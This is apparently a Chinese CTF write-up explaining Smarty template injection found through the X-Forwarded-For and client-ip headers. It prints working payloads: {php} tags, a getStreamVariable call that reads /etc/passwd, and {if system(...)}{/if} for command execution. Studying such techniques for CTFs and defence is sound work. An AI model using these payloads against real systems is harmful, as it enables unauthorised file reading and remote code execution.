smarty模板漏洞

smarty模板漏洞

打开主页,我们观察了各页面的内容,其中Your ip:让我们产生怀疑,会不会是SSTI漏洞,我们抓取一个包,然后构造X-Forwarded-For或client-ip这两个字段

1
2
3
X-Foewarded-For: {7*7}

client-ip: {7*7}

发现Your ip:会显示49,证明存在SSTI,而读取XFF和client-ip的api有些是使用smart引擎写的,因此我们可以猜测是smart模板漏洞,而常见是flask模板漏洞

而smarty模板是基于PHP开发的,与flask模板有比较大的区别,我们可以使用

1
{$smarty.version}

来确定smarty模板的版本

常见的利用方法

{php}{/php}

smarty模板支持使用的{php}{/php}标签来执行被包裹的php指令,但在smart3版本中已经废弃了{php}{/php}标签,但是在smarty3.1中的smartyBC中仍然可以使用

{literal}

{literal}可以让一个模板区域的字符原样输出,这经常保护页面上的javascript或css样本表,避免因为smarty的定界符错被解析

对于php5的话,可以使用

1
<script language="php"> phpinfo();</script>

来实现php代码的执行

静态方法

通过self来获取smarty类的静态方法来实现文件读写
smarty类中的getStreamVariable方法的代码:

1
public function getStreamVariable($variable){ $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }

getStreamVariable()方法是读取一个文件并返回其内容,所以我们可以用self来获取smarty类对象并调用这个方法

1
{self::getStreamVariable("file:///etc/passwd")}

但这是旧版本的smarty模板的利用方法,新版本不能用,而smarty3.1.30版本开始,这个方法已经被删除,而Smarty_Internal_File类中的writeFile方法来写shell也已经被高版本删除

{if}

smarty模板的{if}标签和php的if很像,只是增加了一些特性,每个{if}要配备一个{/if},也可以匹配{else}和{elseif},全部的php条件表达式和函数都可以在if内使用,如or,and等

1
{if phpinfo()}{/if}

即可显示php版本

回到题目本身,我可以在bp抓的包中构造XFF或client-ip来获取flag或想要的信息

1
2
3
X-Forwarded-For: {if system("cat flag")}{/if}

client-ip: {if system("cat flag")}{/if}

详细请看:https://www.freebuf.com/column/219913.html